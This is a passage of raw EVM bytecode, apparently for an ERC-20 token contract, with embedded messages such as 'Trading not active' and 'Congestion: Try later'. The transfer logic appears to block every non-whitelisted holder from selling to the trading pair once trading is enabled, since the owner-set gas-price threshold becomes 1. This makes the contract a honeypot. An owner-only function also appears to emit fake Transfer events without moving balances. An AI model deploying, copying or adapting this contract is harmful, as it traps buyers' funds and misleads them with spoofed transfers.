8152600401602060405180830381865afa158015610d88573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dac9190612913565b6040518363ffffffff1660e01b8152600401610dc992919061293e565b602060405180830381865afa158015610de4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e089190612913565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ed56114d6565b80600b819055505f60384603610f01577310ed43c718714eb63d5aa57b78b54704e256024e9050610f9d565b60014603610f2557737a250d5630b4cf539739df2c5dacb4c659f2488d9050610f9c565b6121054603610f4a57734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610f9b565b62aa36a74603610f705773ee567fe1712faf6149d80da1e6934e354124cfe39050610f9a565b6112374603610f955773c9271f5cb901e30a22268687a8776e6a048e0cb99050610f99565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100e9190612913565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611073573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110979190612913565b6040518363ffffffff1660e01b81526004016110b492919061293e565b602060405180830381865afa1580156110cf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110f39190612913565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b61113f6114d6565b5f5f90505b838390508110156111d75781600c5f8686858181106111665761116561253a565b5b905060200201602081019061117b9190611fc4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611144565b50505050565b6111e56114d6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611255575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161124c91906120e8565b60405180910390fd5b61125e816116e0565b50565b6112696114d6565b5f84849050116112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a59061248e565b60405180910390fd5b8181905084849050146112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061251c565b60405180910390fd5b5f5f90505b848490508110156114b5575f83838381811061131a5761131961253a565b5b9050602002013511611361576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611358906125b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1685858381811061138b5761138a61253a565b5b90506020020160208101906113a09190611fc4565b73ffffffffffffffffffffffffffffffffffffffff16036113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90612619565b60405180910390fd5b8484828181106114095761140861253a565b5b905060200201602081019061141e9190611fc4565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008548686868181106114825761148161253a565b5b905060200201356114939190612664565b6040516114a09190611ffe565b60405180910390a380806001019150506112fb565b505050505050565b5f33905090565b6114d183838360016117a3565b505050565b6114de6114bd565b73ffffffffffffffffffffffffffffffffffffffff166114fc610acd565b73ffffffffffffffffffffffffffffffffffffffff161461155b5761151f6114bd565b6040517f118cdaa700000000000000000000000000000000000000000000000000000000815260040161155291906120e8565b60405180910390fd5b565b5f6115688484610e4b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156115ea57818110156115db578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016115d293929190612965565b60405180910390fd5b6115e984848484035f6117a3565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611660575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161165791906120e8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116d0575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016116c791906120e8565b60405180910390fd5b6116db838383611972565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611813575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161180a91906120e8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611883575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161187a91906120e8565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561196c578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516119639190611ffe565b60405180910390a35b50505050565b600c5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806119f957506119ca610acd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a365750611a07610acd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611a6c57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611aa257505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ab757611ab2838383611c15565b611c10565b600a60149054906101000a900460ff16611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd906129e4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611baf5750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611c04575f600b541115611c0357600b543a10611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990612a4c565b60405180910390fd5b5b5b611c0f838383611c15565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c65578060025f828254611c5991906127ce565b92505081905550611d33565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cee578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611ce593929190612965565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d7a578060025f8282540392505081905550611dc4565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e219190611ffe565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e7082611e2e565b611e7a8185611e38565b9350611e8a818560208601611e48565b611e9381611e56565b840191505092915050565b5f6020820190508181035f830152611eb68184611e66565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611eef82611ec6565b9050919050565b611eff81611ee5565b8114611f09575f5ffd5b50565b5f81359050611f1a81611ef6565b92915050565b5f819050919050565b611f3281611f20565b8114611f3c575f5ffd5b50565b5f81359050611f4d81611f29565b92915050565b5f5f60408385031215611f6957611f68611ebe565b5b5f611f7685828601611f0c565b9250506020611f8785828601611f3f565b9150509250929050565b5f8115159050919050565b611fa581611f91565b82525050565b5f602082019050611fbe5f830184611f9c565b92915050565b5f60208284031215611fd957611fd8611ebe565b5b5f611fe684828501611f0c565b91505092915050565b611ff881611f20565b82525050565b5f6020820190506120115f830184611fef565b92915050565b5f5f5f6060848603121561202e5761202d611ebe565b5b5f61203b86828701611f0c565b935050602061204c86828701611f0c565b925050604061205d86828701611f3f565b9150509250925092565b5f60ff82169050919050565b61207c81612067565b82525050565b5f6020820190506120955f830184612073565b92915050565b5f5f604083850312156120b1576120b0611ebe565b5b5f6120be85828601611f3f565b92505060206120cf85828601611f0c565b9150509250929050565b6120e281611ee5565b82525050565b5f6020820190506120fb5f8301846120d9565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261212257612121612101565b5b8235905067ffffffffffffffff81111561213f5761213e612105565b5b60208301915083602082028301111561215b5761215a612109565b5b9250929050565b5f5f83601f84011261217757612176612101565b5b8235905067ffffffffffffffff81111561219457612193612105565b5b6020830191508360208202830111156121b0576121af612109565b5b9250929050565b5f5f5f5f5f606086880312156121d0576121cf611ebe565b5b5f6121dd88828901611f0c565b955050602086013567ffffffffffffffff8111156121fe576121fd611ec2565b5b61220a8882890161210d565b9450945050604086013567ffffffffffffffff81111561222d5761222c611ec2565b5b61223988828901612162565b92509250509295509295909350565b5f5f5f5f5f6080868803121561226157612260611ebe565b5b5f61226e88828901611f0c565b955050602086013567ffffffffffffffff81111561228f5761228e611ec2565b5b61229b8882890161210d565b945094505060406122ae88828901611f3f565b92505060606122bf88828901611f3f565b9150509295509295909350565b6122d581611f91565b81146122df575f5ffd5b50565b5f813590506122f0816122cc565b92915050565b5f6020828403121561230b5761230a611ebe565b5b5f612318848285016122e2565b91505092915050565b5f5f6040838503121561233757612336611ebe565b5b5f61234485828601611f0c565b925050602061235585828601611f0c565b9150509250929050565b5f6020828403121561237457612373611ebe565b5b5f61238184828501611f3f565b91505092915050565b5f5f5f604084860312156123a1576123a0611ebe565b5b5f84013567ffffffffffffffff8111156123be576123bd611ec2565b5b6123ca8682870161210d565b935093505060206123dd868287016122e2565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061242b57607f821691505b60208210810361243e5761243d6123e7565b5b50919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d707479005f82015250565b5f612478601f83611e38565b915061248382612444565b602082019050919050565b5f6020820190508181035f8301526124a58161246c565b9050919050565b7f526563697069656e7473206c656e677468206d75737420626520657175616c205f8201527f616d6f756e74206c656e67746800000000000000000000000000000000000000602082015250565b5f612506602d83611e38565b9150612511826124ac565b604082019050919050565b5f6020820190508181035f830152612533816124fa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f61259b602083611e38565b91506125a682612567565b602082019050919050565b5f6020820190508181035f8301526125c88161258f565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f612603601983611e38565b915061260e826125cf565b602082019050919050565b5f6020820190508181035f830152612630816125f7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61266e82611f20565b915061267983611f20565b925082820261268781611f20565b9150828204841483151761269e5761269d612637565b5b5092915050565b7f4d696e20616d6f756e74206d7573742062652067726561746572207468616e205f8201527f7a65726f00000000000000000000000000000000000000000000000000000000602082015250565b5f6126ff602483611e38565b915061270a826126a5565b604082019050919050565b5f6020820190508181035f83015261272c816126f3565b9050919050565b7f4d617820616d6f756e74206d757374206265203e3d206d696e20616d6f756e745f82015250565b5f612767602083611e38565b915061277282612733565b602082019050919050565b5f6020820190508181035f8301526127948161275b565b9050919050565b5f6127a582611f20565b91506127b083611f20565b92508282039050818111156127c8576127c7612637565b5b92915050565b5f6127d882611f20565b91506127e383611f20565b92508282019050808211156127fb576127fa612637565b5b92915050565b5f819050919050565b61281b61281682611f20565b612801565b82525050565b5f8160601b9050919050565b5f61283782612821565b9050919050565b5f6128488261282d565b9050919050565b61286061285b82611ee5565b61283e565b82525050565b5f612871828661280a565b602082019150612881828561284f565b601482019150612891828461280a565b602082019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128d982611f20565b91506128e483611f20565b9250826128f4576128f36128a2565b5b828206905092915050565b5f8151905061290d81611ef6565b92915050565b5f6020828403121561292857612927611ebe565b5b5f612935848285016128ff565b91505092915050565b5f6040820190506129515f8301856120d9565b61295e60208301846120d9565b9392505050565b5f6060820190506129785f8301866120d9565b6129856020830185611fef565b6129926040830184611fef565b949350505050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f6129ce601283611e38565b91506129d98261299a565b602082019050919050565b5f6020820190508181035f8301526129fb816129c2565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f612a36601583611e38565b9150612a4182612a02565b602082019050919050565b5f6020820190508181035f830152612a6381612a2a565b905091905056fea26469706673582212204f56d8a9fcc760e0db2acf6ee44f459156eb6d60e4551a0ace276237152ddea264736f6c634300081c0033000000000000000000000000432d20aae5605b1e94c914283d7155ebc6727351000000000000000000000000c75e7328eaab1034ea21ac881bb3763d3af8a386000000000000000000000000bf0d1cecb15b57f336f24f80d5daf815c7375f35000000000000000000000000448b96fe07e384e839ed624505ffb0f2df28c662000000000000000000000000ee820b583fcec902d5caa20cbb47db5ec5788429
0x608060405234801561000f575f5ffd5b5060043610610171575f3560e01c8063882a974f116100dc578063a9059cbb11610095578063ee7d72b41161006f578063ee7d72b414610411578063eec323f51461042d578063f2fde38b14610449578063f536316b1461046557610171565b8063a9059cbb146103a7578063d7cd4bf7146103d7578063dd62ed3e146103e157610171565b8063882a974f146102f75780638a8c523c146103155780638da5cb5b1461031f5780638f70ccf71461033d57806395d89b41146103595780639c6dc8431461037757610171565b806332e851e01161012e57806332e851e01461024b5780633ab03784146102675780634022b75e1461028557806370a08231146102a1578063715018a6146102d15780637d33a54b146102db57610171565b806306fdde0314610175578063095ea7b31461019357806314bef93e146101c357806318160ddd146101df57806323b872dd146101fd578063313ce5671461022d575b5f5ffd5b61017d610481565b60405161018a9190611e9e565b60405180910390f35b6101ad60048036038101906101a89190611f53565b610511565b6040516101ba9190611fab565b60405180910390f35b6101dd60048036038101906101d89190611fc4565b610533565b005b6101e761057e565b6040516101f49190611ffe565b60405180910390f35b61021760048036038101906102129190612017565b610587565b6040516102249190611fab565b60405180910390f35b6102356105b5565b6040516102429190612082565b60405180910390f35b6102656004803603810190610260919061209b565b6105bd565b005b61026f6105d9565b60405161027c91906120e8565b60405180910390f35b61029f600480360381019061029a91906121b7565b6105fe565b005b6102bb60048036038101906102b69190611fc4565b610800565b6040516102c89190611ffe565b60405180910390f35b6102d9610845565b005b6102f560048036038101906102f09190612248565b610858565b005b6102ff610a8b565b60405161030c9190611fab565b60405180910390f35b61031d610a9e565b005b610327610acd565b60405161033491906120e8565b60405180910390f35b610357600480360381019061035291906122f6565b610af5565b005b610361610b1a565b60405161036e9190611e9e565b60405180910390f35b610391600480360381019061038c9190611fc4565b610baa565b60405161039e9190611fab565b60405180910390f35b6103c160048036038101906103bc9190611f53565b610bc7565b6040516103ce9190611fab565b60405180910390f35b6103df610be9565b005b6103fb60048036038101906103f69190612321565b610e4b565b6040516104089190611ffe565b60405180910390f35b61042b6004803603810190610426919061235f565b610ecd565b005b6104476004803603810190610442919061238a565b611137565b005b610463600480360381019061045e9190611fc4565b6111dd565b005b61047f600480360381019061047a91906121b7565b611261565b005b60606003805461049090612414565b80601f01602080910402602001604051908101604052809291908181526020018280546104bc90612414565b80156105075780601f106104de57610100808354040283529160200191610507565b820191905f5260205f20905b8154815290600101906020018083116104ea57829003601f168201915b5050505050905090565b5f5f61051b6114bd565b90506105288185856114c4565b600191505092915050565b61053b6114d6565b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b5f5f6105916114bd565b905061059e85828561155d565b6105a98585856115f0565b60019150509392505050565b5f6012905090565b6105c56114d6565b81600b819055506105d581610533565b5050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106066114d6565b5f848490501161064b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106429061248e565b60405180910390fd5b818190508484905014610693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068a9061251c565b60405180910390fd5b5f5f90505b848490508110156107f8575f8383838181106106b7576106b661253a565b5b90506020020135116106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f5906125b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168585838181106107285761072761253a565b5b905060200201602081019061073d9190611fc4565b73ffffffffffffffffffffffffffffffffffffffff1603610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a90612619565b60405180910390fd5b6107eb868686848181106107aa576107a961253a565b5b90506020020160208101906107bf9190611fc4565b6008548686868181106107d5576107d461253a565b5b905060200201356107e69190612664565b6115f0565b8080600101915050610698565b505050505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61084d6114d6565b6108565f6116e0565b565b6108606114d6565b5f84849050116108a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089c9061248e565b60405180910390fd5b5f82116108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90612715565b60405180910390fd5b8181101561092a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109219061277d565b60405180910390fd5b5f60018383610939919061279b565b61094391906127ce565b90505f5f90505b85859050811015610a82575f73ffffffffffffffffffffffffffffffffffffffff1686868381811061097f5761097e61253a565b5b90506020020160208101906109949190611fc4565b73ffffffffffffffffffffffffffffffffffffffff16036109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190612619565b60405180910390fd5b5f8483423385604051602001610a0293929190612866565b604051602081830303815290604052805190602001205f1c610a2491906128cf565b610a2e91906127ce565b90505f60085482610a3f9190612664565b9050610a7389898986818110610a5857610a5761253a565b5b9050602002016020810190610a6d9190611fc4565b836115f0565b5050808060010191505061094a565b50505050505050565b600a60149054906101000a900460ff1681565b610aa66114d6565b6001600a60146101000a81548160ff021916908315150217905550610acb6001610ecd565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610afd6114d6565b80600a60146101000a81548160ff02191690831515021790555050565b606060048054610b2990612414565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5590612414565b8015610ba05780601f10610b7757610100808354040283529160200191610ba0565b820191905f5260205f20905b815481529060010190602001808311610b8357829003601f168201915b5050505050905090565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f5f610bd16114bd565b9050610bde8185856115f0565b600191505092915050565b610bf16114d6565b5f60384603610c16577310ed43c718714eb63d5aa57b78b54704e256024e9050610cb2565b60014603610c3a57737a250d5630b4cf539739df2c5dacb4c659f2488d9050610cb1565b6121054603610c5f57734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610cb0565b62aa36a74603610c855773ee567fe1712faf6149d80da1e6934e354124cfe39050610caf565b6112374603610caa5773c9271f5cb901e30a22268687a8776e6a048e0cb99050610cae565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cff573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d239190612913565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d88573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dac9190612913565b6040518363ffffffff1660e01b8152600401610dc992919061293e565b602060405180830381865afa158015610de4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e089190612913565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ed56114d6565b80600b819055505f60384603610f01577310ed43c718714eb63d5aa57b78b54704e256024e9050610f9d565b60014603610f2557737a250d5630b4cf539739df2c5dacb4c659f2488d9050610f9c565b6121054603610f4a57734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610f9b565b62aa36a74603610f705773ee567fe1712faf6149d80da1e6934e354124cfe39050610f9a565b6112374603610f955773c9271f5cb901e30a22268687a8776e6a048e0cb99050610f99565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100e9190612913565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611073573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110979190612913565b6040518363ffffffff1660e01b81526004016110b492919061293e565b602060405180830381865afa1580156110cf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110f39190612913565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b61113f6114d6565b5f5f90505b838390508110156111d75781600c5f8686858181106111665761116561253a565b5b905060200201602081019061117b9190611fc4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611144565b50505050565b6111e56114d6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611255575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161124c91906120e8565b60405180910390fd5b61125e816116e0565b50565b6112696114d6565b5f84849050116112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a59061248e565b60405180910390fd5b8181905084849050146112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061251c565b60405180910390fd5b5f5f90505b848490508110156114b5575f83838381811061131a5761131961253a565b5b9050602002013511611361576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611358906125b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1685858381811061138b5761138a61253a565b5b90506020020160208101906113a09190611fc4565b73ffffffffffffffffffffffffffffffffffffffff16036113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90612619565b60405180910390fd5b8484828181106114095761140861253a565b5b905060200201602081019061141e9190611fc4565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008548686868181106114825761148161253a565b5b905060200201356114939190612664565b6040516114a09190611ffe565b60405180910390a380806001019150506112fb565b505050505050565b5f33905090565b6114d183838360016117a3565b505050565b6114de6114bd565b73ffffffffffffffffffffffffffffffffffffffff166114fc610acd565b73ffffffffffffffffffffffffffffffffffffffff161461155b5761151f6114bd565b6040517f118cdaa700000000000000000000000000000000000000000000000000000000815260040161155291906120e8565b60405180910390fd5b565b5f6115688484610e4b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156115ea57818110156115db578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016115d293929190612965565b60405180910390fd5b6115e984848484035f6117a3565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611660575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161165791906120e8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116d0575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016116c791906120e8565b60405180910390fd5b6116db838383611972565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611813575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161180a91906120e8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611883575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161187a91906120e8565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561196c578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516119639190611ffe565b60405180910390a35b50505050565b600c5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806119f957506119ca610acd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a365750611a07610acd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611a6c57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611aa257505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ab757611ab2838383611c15565b611c10565b600a60149054906101000a900460ff16611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd906129e4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611baf5750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611c04575f600b541115611c0357600b543a10611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990612a4c565b60405180910390fd5b5b5b611c0f838383611c15565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c65578060025f828254611c5991906127ce565b92505081905550611d33565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cee578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611ce593929190612965565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d7a578060025f8282540392505081905550611dc4565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e219190611ffe565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e7082611e2e565b611e7a8185611e38565b9350611e8a818560208601611e48565b611e9381611e56565b840191505092915050565b5f6020820190508181035f830152611eb68184611e66565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611eef82611ec6565b9050919050565b611eff81611ee5565b8114611f09575f5ffd5b50565b5f81359050611f1a81611ef6565b92915050565b5f819050919050565b611f3281611f20565b8114611f3c575f5ffd5b50565b5f81359050611f4d81611f29565b92915050565b5f5f60408385031215611f6957611f68611ebe565b5b5f611f7685828601611f0c565b9250506020611f8785828601611f3f565b9150509250929050565b5f8115159050919050565b611fa581611f91565b82525050565b5f602082019050611fbe5f830184611f9c565b92915050565b5f60208284031215611fd957611fd8611ebe565b5b5f611fe684828501611f0c565b91505092915050565b611ff881611f20565b8252